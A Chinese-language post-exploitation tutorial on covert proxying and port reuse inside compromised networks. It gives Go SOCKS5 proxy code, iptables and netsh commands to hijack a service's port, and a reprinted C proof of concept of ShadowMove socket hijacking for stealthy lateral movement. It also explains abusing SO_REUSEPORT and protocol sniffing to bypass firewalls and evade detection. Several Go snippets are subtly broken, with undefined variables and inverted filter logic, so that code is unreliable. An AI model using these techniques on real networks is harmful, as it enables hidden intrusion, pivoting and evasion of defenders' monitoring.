在后渗透场景中,代理几乎是不可或缺的一部分,对于多层网络架构的复杂内网环境而言,多级代理、多协议代理、端口复用等代理功能便尤为重要,本文将分以下几个部分逐步介绍:

  1. 常见代理的方式
  2. 代理端口复用研究
  3. 基于已有服务的端口复用方式

常见代理方式

反向代理

反向代理(Reverse Proxy)指的是由目标服务器主动像客户端发起连接请求的代理模式,这种代理模式通常是攻防实战中完成边界突破后的代理方式的优选项,稳定性相对更佳。缺点是服务器需要具备出网能力,在流量侧会有主动外连的痕迹,如果使用的代理工具存在流量侧特征容易被态势感知等设备发现。列举几个反代工具:
1、frp
https://github.com/fatedier/frp.git

2、earthworm
https://github.com/idlefire/ew.git

3、ngrok
https://github.com/inconshreveable/ngrok.git

4、nps
https://github.com/ehang-io/nps

5、erfrp
https://github.com/Goqi/Erfrp

正向代理

正向代理(Forward Proxy)是指由客户端向代理服务器发起请求,并由代理服务器向目标转发的代理方式,这种代理模式是科学上网常用的代理方式。在攻防实战中,由于目标主机服务器通常在内网环境,服务由例如nginx等服务将服务端口代理映射出去,因此在服务上主动创建的代理监听服务很难通过公网访问到。通常做法是复用web服务,通过对应的开发语言写代理的服务,再通过正向代理实现连接,这种方式通常稳定性和速度相对较差,通常在服务器无法出网的情况下选择。列举两个webProxy:

1、reGeorg
https://github.com/sensepost/reGeorg.git

2、Neo-reGeorg
https://github.com/L-codes/Neo-reGeorg

基于golang实现简单代理

正向代理

// 创建监听
listener, err := net.Listen("tcp", "localhost:1080")
if err != nil {
    log.Fatal(err)
}

//接收请求
for {
    conn, err := listener.Accept()
    if err != nil {
        log.Fatal(err)
    }
    go handleConnection(conn)
}

//处理请求
func handleConnection(conn net.Conn) {
    defer conn.Close()

    // 握手
    buf := make([]byte, 256)

    // 读取客户端的版本和方法
    _, err := io.ReadFull(conn, buf[:2])
    if err != nil {
        return
    }

    version := buf[0]
    nmethods := buf[1]

    // 确保版本是5(SOCKS5)
    if version != 5 {
        return
    }

    // 读取并丢弃方法
    _, err = io.ReadFull(conn, buf[:nmethods])
    if err != nil {
        return
    }

    // 发送响应
    _, err = conn.Write([]byte{0x05, 0x00})
    if err != nil {
        return
    }

    // 读取客户端的请求
    _, err = io.ReadFull(conn, buf[:4])
    if err != nil {
        return
    }

    // 处理请求
    // ...

}

反向代理

func Server(listen *net.TCPListener, s5listen *net.TCPListener) {
  for {
    s5conn, err := s5listen.Accept()
    if err != nil {
      fmt.Println("接受客户端连接异常:", err.Error())
      continue
    }
    fmt.Println("用户客户端连接来自:", s5conn.RemoteAddr().String())
    defer s5conn.Close()

    conn, err := listen.Accept()
    if err != nil {
      fmt.Println("接受客户端连接异常:", err.Error())
      continue
    }
    fmt.Println("客户端连接来自:", conn.RemoteAddr().String())
    defer conn.Close()

    go handle(conn, s5conn)
  }
}

func handle(sconn net.Conn, dconn net.Conn) {
  defer sconn.Close()
  defer dconn.Close()
  ExitChan := make(chan bool, 1)
  go func(sconn net.Conn, dconn net.Conn, Exit chan bool) {
    io.Copy(dconn, sconn)
    ExitChan <- true
  }(sconn, dconn, ExitChan)

  go func(sconn net.Conn, dconn net.Conn, Exit chan bool) {
    io.Copy(sconn, dconn)
    ExitChan <- true
  }(sconn, dconn, ExitChan)
  <-ExitChan
  dconn.Close()
}

端口复用

端口复用,也被称为端口共享,是指在同一台主机上,允许多个网络应用程序使用同一个网络端口的技术。这种技术可以有效地提高网络资源的利用率,避免端口资源的浪费。在网络安全场景下的端口复用主要目的是为了隐藏攻击痕迹和进行防火墙bypass。

重定向方式实现

使用场景通常为防火墙限制了访问端口。通过系统的流量转发功能实现,Linux下通过iptables实现流量转发。假设原本服务器开放了80端口,我们要将eth0网卡的80端口流量全部转发到本地代理监听端口8080。

iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-port 8080

再由监听的代理服务做流量分流处理,将带有代理特征的流量保留下来,目标流量发送回对应服务,保证原本服务正常进行。比如如果我们劫持转发的服务为web服务,而我们的代理协议使用的是socks5协议,我们可以通过协议头进行判断和过滤。

package main

import (
  "io"
  "log"
  "net"
)

func main() {
  // 开始监听8080端口
  listener, err := net.Listen("tcp", ":8080")
  if err != nil {
    log.Fatal(err)
  }
  for {
    // 接受一个客户端连接
    client, err := listener.Accept()
    if err != nil {
      log.Fatal(err)
    }
    go handleClientRequest(client)
  }
}

func checkSocks5(r io.Reader) (bool, []byte, error) {
  buf := make([]byte, 2)
  // 读取前两个字节
  _, err := io.ReadAtLeast(r, buf, 2)
  if err != nil {
    return false, nil, err
  }

  // 检查版本号
  return buf[0] == 0x05, buf, nil
} 


func handleClientRequest(client net.Conn) {
  defer client.Close()

  // 检查是否为SOCKS5
  isSocks5, buf, err := checkSocks5(client)
  if err != nil {
    log.Println(err)
    return
  }
  if !isSocks5 {
    log.Println("Not a SOCKS5 connection")
    return
  }

  // 连接到本地的80端口
  target, err := net.Dial("tcp", "localhost:80")
  if err != nil {
    log.Fatal(err)
  }
  defer target.Close()

  // 创建一个MultiReader,它首先读取已经读取的字节,然后再读取原始连接
  clientReader := io.MultiReader(bytes.NewReader(buf), client)

  // 开始转发
  go io.Copy(target, clientReader)
  go io.Copy(client, target)
}

//代理逻辑
func proxyHandler(conn net.conn) {...}

对于windows而言,非系统服务,比如重定向 Windows 上的 Apache 的 8080 端口到 1080 端口,我们可以使用 IpNat 进行转发。


# 转发命令 
netsh interface portproxy add v4tov4 listenport=源端口 listenaddress=源IP connectport=目标端口 connectaddress=目标IP

# 查看转发规则
netsh interface portproxy show all

# 删除规则
netsh interface portproxy delete v4tov4 listenport=源端口 listenaddress=源IP

对于系统服务,需要重启系统或加载驱动,并且需要自己编写 Ring3 的部分代码来通过驱动回调增加过滤的条件等。本文不展开讨论这种方式。比较流行的方式有基于 WFP 实现的 WIndiver 以及基于 NDIS 的 WinpkFilter,可以参考https://github.com/BarbaTunnelCoder/BarbaTunnel/wiki/Choosing-FilterDriver-(WinDivert-vs-WinpkFilter)

ShadowMove套接字劫持技术

ShadowMove是一种从non-cooperative进程中劫持Socket的技术,2020年发布于USENIX大《ShadowMove: A Stealthy Lateral Movement Strategy》,ShadowMove的基本思想是复用已建立的合法连接,从而在受感染的网络内横向移动。如上图所示,ShadowMove的工作分为三个主要步骤:首先,它复制合法客户端应用程序用来与服务器应用程序通信的套接字。其次,它使用复制的套接字在客户端和服务器之间的现有TCP会话中注入数据包。第三,服务器处理注入的数据包,并无意中保存和/或启动ShadowMove的新实例。通过以上步骤,攻击者会从客户端计算机秘密移动到服务器计算机。

具体实现步骤:
使用PROCESS_DUP_HANDLE权限打开所有者进程;
每一个句柄为0x24(文件)类型;
遍历句柄,找到\device\afd
getpeername() 获取远程IP和远程端口号;
调用WSADuplicateSocketW以获取特殊的WSAPROTOCOL_INFO结构;
创建重复的Socket;
使用这个Socket;
实现代理能力,需要跳板服务器我们可控一个合法进行外连我们的主机。假设三台主机A,B,C 其中A可以访问B的某些特定公开服务,B可以访问C。我们想在A上通过B访问C的服务,只需要通过B创建一个与C的目标的连接,并将两个socket通信数据进行io copy,则可以完成代理逻辑的实现。

引用ShadowMove套接字劫持技术,巧妙隐藏与C2的连接一文中的代码实现;

/* PoC of ShadowMove Pivot by Juan Manuel Fernández (@TheXC3LL) */


#define _WINSOCK_DEPRECATED_NO_WARNINGS

#include <winsock2.h>

#include <Windows.h>

#include <stdio.h>


#pragma comment(lib,"WS2_32")


/* Most of the code is adapted from https://github.com/Zer0Mem0ry/WindowsNT-Handle-Scanner/blob/master/FindHandles/main.cpp */

#define STATUS_INFO_LENGTH_MISMATCH 0xc0000004

#define SystemHandleInformation 16

#define ObjectNameInformation 1

#define MSG_END_OF_TRANSMISSION "\x31\x41\x59\x26\x53\x58\x97\x93\x23\x84"

#define BUFSIZE 65536


typedef NTSTATUS (NTAPI * _NtQuerySystemInformation)(

  ULONG SystemInformationClass,

  PVOID SystemInformation,

  ULONG SystemInformationLength,

  PULONG ReturnLength

  );

typedef NTSTATUS (NTAPI * _NtDuplicateObject)(

  HANDLE SourceProcessHandle,

  HANDLE SourceHandle,

  HANDLE TargetProcessHandle,

  PHANDLE TargetHandle,

  ACCESS_MASK DesiredAccess,

  ULONG Attributes,

  ULONG Options

  );

typedef NTSTATUS (NTAPI * _NtQueryObject)(

  HANDLE ObjectHandle,

  ULONG ObjectInformationClass,

  PVOID ObjectInformation,

  ULONG ObjectInformationLength,

  PULONG ReturnLength

  );


typedef struct _SYSTEM_HANDLE

{
  ULONG ProcessId;

  BYTE ObjectTypeNumber;

  BYTE Flags;

  USHORT Handle;

  PVOID Object;

  ACCESS_MASK GrantedAccess;
} SYSTEM_HANDLE, * PSYSTEM_HANDLE;


typedef struct _SYSTEM_HANDLE_INFORMATION

{
  ULONG HandleCount;

  SYSTEM_HANDLE Handles[1];
} SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION;


typedef struct _UNICODE_STRING

{
  USHORT Length;

  USHORT MaximumLength;

  PWSTR Buffer;
} UNICODE_STRING, * PUNICODE_STRING;


typedef enum _POOL_TYPE

{
  NonPagedPool,

  PagedPool,

  NonPagedPoolMustSucceed,

  DontUseThisType,

  NonPagedPoolCacheAligned,

  PagedPoolCacheAligned,

  NonPagedPoolCacheAlignedMustS
} POOL_TYPE, * PPOOL_TYPE;


typedef struct _OBJECT_NAME_INFORMATION

{
  UNICODE_STRING Name;
} OBJECT_NAME_INFORMATION, * POBJECT_NAME_INFORMATION;


PVOID GetLibraryProcAddress( PSTR LibraryName, PSTR ProcName )
{
  return(GetProcAddress( GetModuleHandleA( LibraryName ), ProcName ) );
}


SOCKET findTargetSocket( DWORD dwProcessId, LPSTR dstIP )
{
  HANDLE hProc;

  PSYSTEM_HANDLE_INFORMATION handleInfo;

  DWORD handleInfoSize = 0x10000;

  NTSTATUS status;

  DWORD returnLength;

  WSAPROTOCOL_INFOW wsaProtocolInfo = { 0 };

  SOCKET targetSocket;


/* Open target process with PROCESS_DUP_HANDLE rights */

  hProc = OpenProcess( PROCESS_DUP_HANDLE, FALSE, dwProcessId );

  if ( !hProc )
  {
    printf( "[!] Error: could not open the process!\n" );

    exit( -1 );
  }

  printf( "[+] Handle to process obtained!\n" );


/* Find the functions */

  _NtQuerySystemInformation NtQuerySystemInformation = (_NtQuerySystemInformation) GetLibraryProcAddress( "ntdll.dll", "NtQuerySystemInformation" );

  _NtDuplicateObject NtDuplicateObject = (_NtDuplicateObject) GetLibraryProcAddress( "ntdll.dll", "NtDuplicateObject" );

  _NtQueryObject NtQueryObject = (_NtQueryObject) GetLibraryProcAddress( "ntdll.dll", "NtQueryObject" );


/* Retrieve handles from the target process */

  handleInfo = (PSYSTEM_HANDLE_INFORMATION) malloc( handleInfoSize );

  while ( (status = NtQuerySystemInformation( SystemHandleInformation, handleInfo, handleInfoSize, NULL ) ) == STATUS_INFO_LENGTH_MISMATCH )

    handleInfo = (PSYSTEM_HANDLE_INFORMATION) realloc( handleInfo, handleInfoSize *= 2 );


  printf( "[+] Found [%d] handlers in PID %d\n============================\n", handleInfo->HandleCount, dwProcessId );


/* Iterate */

  for ( DWORD i = 0; i < handleInfo->HandleCount; i++ )
  {
/* Check if it is the desired type of handle */

    if ( handleInfo->Handles[i].ObjectTypeNumber == 0x24 )
    {
      SYSTEM_HANDLE handle = handleInfo->Handles[i];

      HANDLE dupHandle = NULL;

      POBJECT_NAME_INFORMATION objectNameInfo;


/* Dupplicate handle */

      NtDuplicateObject( hProc, (HANDLE) handle.Handle, GetCurrentProcess(), &dupHandle, PROCESS_ALL_ACCESS, FALSE, DUPLICATE_SAME_ACCESS );

      objectNameInfo = (POBJECT_NAME_INFORMATION) malloc( 0x1000 );


/* Get handle info */

      NtQueryObject( dupHandle, ObjectNameInformation, objectNameInfo, 0x1000, &returnLength );


/* Narrow the search checking if the name length is correct (len(\Device\Afd) == 11 * 2) */

      if ( objectNameInfo->Name.Length == 22 )
      {
        printf( "[-] Testing %d of %d\n", i, handleInfo->HandleCount );


/* Check if it ends in "Afd" */

        LPWSTR needle = (LPWSTR) malloc( 8 );

        memcpy( needle, objectNameInfo->Name.Buffer + 8, 6 );

        if ( needle[0] == 'A' && needle[1] == 'f' && needle[2] == 'd' )
        {
/* We got a candidate */

          printf( "\t[*] \\Device\\Afd found at %d!\n", i );


/* Try to duplicate the socket */

          status = WSADuplicateSocketW( (SOCKET) dupHandle, GetCurrentProcessId(), &wsaProtocolInfo );

          if ( status != 0 )
          {
            printf( "\t\t[X] Error duplicating socket!\n" );

            free( needle );

            free( objectNameInfo );

            CloseHandle( dupHandle );

            continue;
          }


/* We got it? */

          targetSocket = WSASocket( wsaProtocolInfo.iAddressFamily, wsaProtocolInfo.iSocketType, wsaProtocolInfo.iProtocol, &wsaProtocolInfo, 0, WSA_FLAG_OVERLAPPED );

          if ( targetSocket != INVALID_SOCKET )
          {
            struct sockaddr_in sockaddr;

            DWORD len;

            len = sizeof(SOCKADDR_IN);


/* It this the socket? */

            if ( getpeername( targetSocket, (SOCKADDR *) &sockaddr, &len ) == 0 )
            {
              if ( strcmp( inet_ntoa( sockaddr.sin_addr ), dstIP ) == 0 )
              {
                printf( "\t[*] Duplicated socket (%s)\n", inet_ntoa( sockaddr.sin_addr ) );

                free( needle );

                free( objectNameInfo );

                return(targetSocket);
              }
            }
          }


          free( needle );
        }
      }

      free( objectNameInfo );
    }
  }


  return(0);
}


/* Reused from MSSQLPROXY https://github.com/blackarrowsec/mssqlproxy/blob/master/reciclador/reciclador.cpp */

void bridge( SOCKET fd0, SOCKET fd1 )
{
  int maxfd, ret;

  fd_set rd_set;

  size_t nread;

  char buffer_r[BUFSIZE];

  maxfd = (fd0 > fd1) ? fd0 : fd1;

  while ( 1 )
  {
    FD_ZERO( &rd_set );

    FD_SET( fd0, &rd_set );

    FD_SET( fd1, &rd_set );

    ret = select( maxfd + 1, &rd_set, NULL, NULL, NULL );

    if ( ret < 0 && errno == EINTR )
    {
      continue;
    }

    if ( FD_ISSET( fd0, &rd_set ) )
    {
      nread = recv( fd0, buffer_r, BUFSIZE, 0 );

      if ( nread <= 0 )

        break;

      send( fd1, buffer_r, nread, 0 );
    }

    if ( FD_ISSET( fd1, &rd_set ) )
    {
      nread = recv( fd1, buffer_r, BUFSIZE, 0 );


      if ( nread <= 0 )

        break;


/* End of transmission */

      if ( nread >= strlen( MSG_END_OF_TRANSMISSION ) && strstr( buffer_r, MSG_END_OF_TRANSMISSION ) != NULL )
      {
        send( fd0, buffer_r, nread - strlen( MSG_END_OF_TRANSMISSION ), 0 );

        break;
      }


      send( fd0, buffer_r, nread, 0 );
    }
  }
}


int main( int argc, char** argv )
{
  WORD wVersionRequested;

  WSADATA wsaData;

  DWORD dwProcessIdSrc;

  WORD dwProcessIdDst;

  LPSTR dstIP = NULL;

  LPSTR srcIP = NULL;

  SOCKET srcSocket;

  SOCKET dstSocket;


  printf( "\t\t\t-=[ ShadowMove Pivot PoC ]=-\n\n" );


/* smpivot.exe [PID src] [PID dst] [IP dst] [IP src] */

/* It's just a PoC, we do not validate the args. But at least check if number of args is right X) */

  if ( argc != 5 )
  {
    printf( "[!] Error: syntax is %s [PID src] [PID dst] [IP src] [IP dst]\n", argv[0] );

    exit( -1 );
  }

  dwProcessIdSrc = strtoul( argv[1], NULL, 10 );

  dwProcessIdDst = strtoul( argv[2], NULL, 10 );


  dstIP = (LPSTR) malloc( strlen( argv[4] ) * (char) +1 );

  memcpy( dstIP, argv[3], strlen( dstIP ) );

  srcIP = (LPSTR) malloc( strlen( argv[3] ) * (char) +1 );

  memcpy( srcIP, argv[4], strlen( srcIP ) );


/* Classic */

  wVersionRequested = MAKEWORD( 2, 2 );

  WSAStartup( wVersionRequested, &wsaData );


  srcSocket = findTargetSocket( dwProcessIdSrc, srcIP );


  dstSocket = findTargetSocket( dwProcessIdDst, dstIP );

  if ( srcSocket == 0 )
  {
    printf( "\n[!] Error: could not attach to source socket" );

    return(-1);
  }

  printf( "\n[<] Attached to SOURCE\n" );

  if ( dstSocket == 0 )
  {
    printf( "\n[!] Error: could not attach to sink socket" );

    return(-1);
  }

  printf( "[>] Attached to SINK\n" );

  printf( "============================\n[Link up]\n============================\n" );

  bridge( srcSocket, dstSocket );

  printf( "============================\n[Link down]\n============================\n" );

  return(0);
}

当然上述的使用仅能针对一个服务实现定向转发,我们也可以使用反代逻辑在接收到来自A的请求后解析目标请求的地址再构建socket连接并发送请求到目标主机。

可能遇到的问题

当我们使用ShadowMove套接字劫持技术实现端口复用时,也面临一些问题:

1、socket数据存在同时被原始进程和代理进程消费的情况,一旦数据被原始进程消费后,代理进程将无法读到数据导致数据丢失。此时需要自定义数据完整性的验证逻辑。

2、socket被关闭导致超时,需要检测socket的状态。

linux kernel >= 3.9 的REUSEPORT特性利用

在linux和windows中一个端口一旦被bind,那么另一个端口再去尝试bind时会报错already in use。在一定条件下也可以实现端口复用,实际在3.9版本之前,linux通过SO_REUSEADDR实现了处于TIME_WAIT状态的socket的端口实现复用绑定,但是实际生效也需要在当前socket完全释放后。

在内核版本3.9以上,引入了SO_REUSEPORT特性,该特性允许配置了SO_REUSEPORT的进程监听同一端口,但要求第一个监听该端口的进程必须进行相应配置,否则后续监听仍将失败。

当我们找到满足上述要求的合法进程后,面临有多个进程都 bind 和 listen 了同一个端口的时候。有客户端连接请求到来的时候就涉及到选择哪个 socket(进程)进行处理的问题。我们再简单看一下,响应连接时的处理过程。
image
查找 listen 状态的 socket 的时候需要查找该哈希表。我们进入响应握手请求的时候进入的一个关键函数 __inet_lookup_listener 来看。

//file: net/ipv4/inet_hashtables.c
struct sock *__inet_lookup_listener(struct net *net,
        struct inet_hashinfo *hashinfo,
        const __be32 saddr, __be16 sport,
        const __be32 daddr, const unsigned short hnum,
        const int dif)
{
 //所有 listen socket 都在这个 listening_hash 中
 struct inet_listen_hashbucket *ilb = &hashinfo->listening_hash[hash];

begin:
 result = NULL;
 hiscore = 0;
 sk_nulls_for_each_rcu(sk, node, &ilb->head) {
  score = compute_score(sk, net, hnum, daddr, dif);
  if (score > hiscore) {
   result = sk;
   hiscore = score;
   reuseport = sk->sk_reuseport;
   if (reuseport) {
    phash = inet_ehashfn(net, daddr, hnum,
           saddr, sport);
    matches = 1;
   }
  } else if (score == hiscore && reuseport) {
   matches++;
   if (((u64)phash * matches) >> 32 == 0)
    result = sk;
   phash = next_pseudo_random32(phash);
  }
 }
 ...
 return result;
}

其中 sk_nulls_for_each_rcu 是在遍历所有 hash 值相同的 listen 状态的 socket。注意看 compute_score 这个函数,这里是计算匹配分。当有多个 socket 都命中的时候,匹配分高的优先命中。我们来看一下这个函数里的一个细节。

//file: net/ipv4/inet_hashtables.c
static inline int compute_score(struct sock *sk, ...)
{
 int score = -1;
 struct inet_sock *inet = inet_sk(sk);

 if (net_eq(sock_net(sk), net) && inet->inet_num == hnum &&
   !ipv6_only_sock(sk)) {
  //如果服务绑定的是 0.0.0.0,那么 rcv_saddr 为假
  __be32 rcv_saddr = inet->inet_rcv_saddr;
  score = sk->sk_family == PF_INET ? 2 : 1;
  if (rcv_saddr) {
   if (rcv_saddr != daddr)
    return -1;
   score += 4;
  }
  ... 
 }
 return score;
}

demo如下:

A 进程:./test-server 10.0.0.2 6000

B 进程:./test-server 0.0.0.0 6000

C 进程:./test-server 127.0.0.1 6000

此时A、C进程的绑定方式为4分,B为2分,因此当目标主动访问10.0.0.2网卡时,将由进程A消费。假设主机还有一个192.0.0.2的网卡地址,当访问这个地址时,A C均不得分,B得2分,此时没有更高分数的情况下将由B完成消费。

那么假如存在如下情况:

A 进程:./test-server 10.0.0.2 6000
B 进程:./test-server 0.0.0.0 6000
C 进程:./test-server 10.0.0.2 6000

此时A C均绑定的10.0.0.2网卡,当有请求访问时,就由内核以随机的方式进行负载均衡随机分配到A C进程中了。

当我们使用两个不同权限用户绑定相同端口时,则会绑定失败。因此上述方法对权限有要求。

总结一下,如果想完美使用SO_REUSEPORT特性实施端口复用,需要找到一个开启了SO_REUSEPORT配置的合法进程,且该进程监听0.0.0.0,并且处于同一用户权限下。

MAC系统

在macOS中,默认允许多个进程可以绑定到相同的端口,而无需特殊配置,当有传入连接到达时,操作系统会根据某种负载均衡算法将连接分发给其中一个进程。因此可以跳过SO_REUSEPORT配置,快进到调度优先级配置部分。例如两个进程A、B,同时监听8888端口,其中A绑定10.10.1.2,B绑定0.0.0.0,将优先调度A的socket进行通信。

复用端口构造代理

复用合法应用的端口我们需通过netstat查找绑定在0.0.0.0的端口服务,然后启用代理,做流量分析,符合代理特征的流量我们留下解析,属于源端口的流量我们转发到源端口,实现方式跟通过iptables同理。
image-1695866802417

// 端口监听相关代码片段

listener, err := net.Listen("tcp", ":8080")
if err != nil {
    panic(err)
}

// 获取原始的网络文件描述符
file, err := listener.(*net.TCPListener).File()
if err != nil {
    panic(err)
}
fd := int(file.Fd())

// 设置 SO_REUSEPORT
err = syscall.SetsockoptInt(fd, syscall.SOL_SOCKET, syscall.SO_REUSEPORT, 1)

基于协议限制的防火墙策略绕过

上文主要对基于端口限制的代理端口复用方式进行分析,还有一种场景是基于协议限制的策略,这种场景下假设我们可以通过某种方式访问到代理端口,此时我们的代理需要在监听接收到的连接请求进行协议分析,根据不同协议调用不同的handler处理逻辑,实现绕过(针对TCP/IP层以上的通信协议)。
image-1695866827109

package main
func server() {
  // 开始监听8080端口
  listener, err := net.Listen("tcp", ":8080")
  if err != nil {
    log.Fatal(err)
  }
  for {
    // 接受一个客户端连接
    client, err := listener.Accept()
    if err != nil {
      log.Fatal(err)
    }
    go handleClientRequest(client)
  }
}

func isSocks5(conn net.Conn) (bool, error) {
    buf := make([]byte, 2)

    // 读取前两个字节
    _, err := io.ReadFull(conn, buf)
    if err != nil {
        return false, err
    }

    // 检查版本号和方法数量
    return buf[0] == 0x05, nil
}


func handleClientRequest(client net.Conn) {
  defer client.Close()

  // 检查是否为SOCKS5
  isSocks5, buf, err := checkSocks5(client)
  if err != nil {
    log.Println(err)
    return
  }
  r, w := net.Pipe()
  // 创建一个新的 goroutine,将 clientReader 的数据写入 Pipe
  go func() {
    _, err := io.Copy(w, clientReader)
    if err != nil {
      logger.Logger.Infof("Error copying clientReader to Pipe:", err)
      // 处理错误
    }
  }()
  go func() {
    _, err := io.Copy(conn, w)
    if err != nil {
      logger.Logger.Infof("Error copying clientReader to Pipe:", err)
      // 处理错误
    }
  }()
    // 创建一个MultiReader,它首先读取已经读取的字节,然后再读取原始连接
  clientReader := io.MultiReader(bytes.NewReader(buf), client)

  if !isSocks5 {
    log.Println("Not a SOCKS5 connection")
    go httpHandler(r, ctx)
  }

    go socks5Handler(r, ctx)
}

// socks5代理
func socks5Handler(conn net.conn, ctx) {...}

// http代理
func httpHandler(conn net.conn, ctx) {...}

此时我们就完成了在同一个代理进程中使用不同代理协议的端口复用实现。

参考链接

· https://www.freebuf.com/articles/web/261429.html

· https://saucer-man.com/operation_and_maintenance/586.html

· https://idiotc4t.com/defense-evasion/shadowmove-emersion-and-think

· https://www.usenix.org/system/files/sec20summer_niakanlahiji_prepub.pdf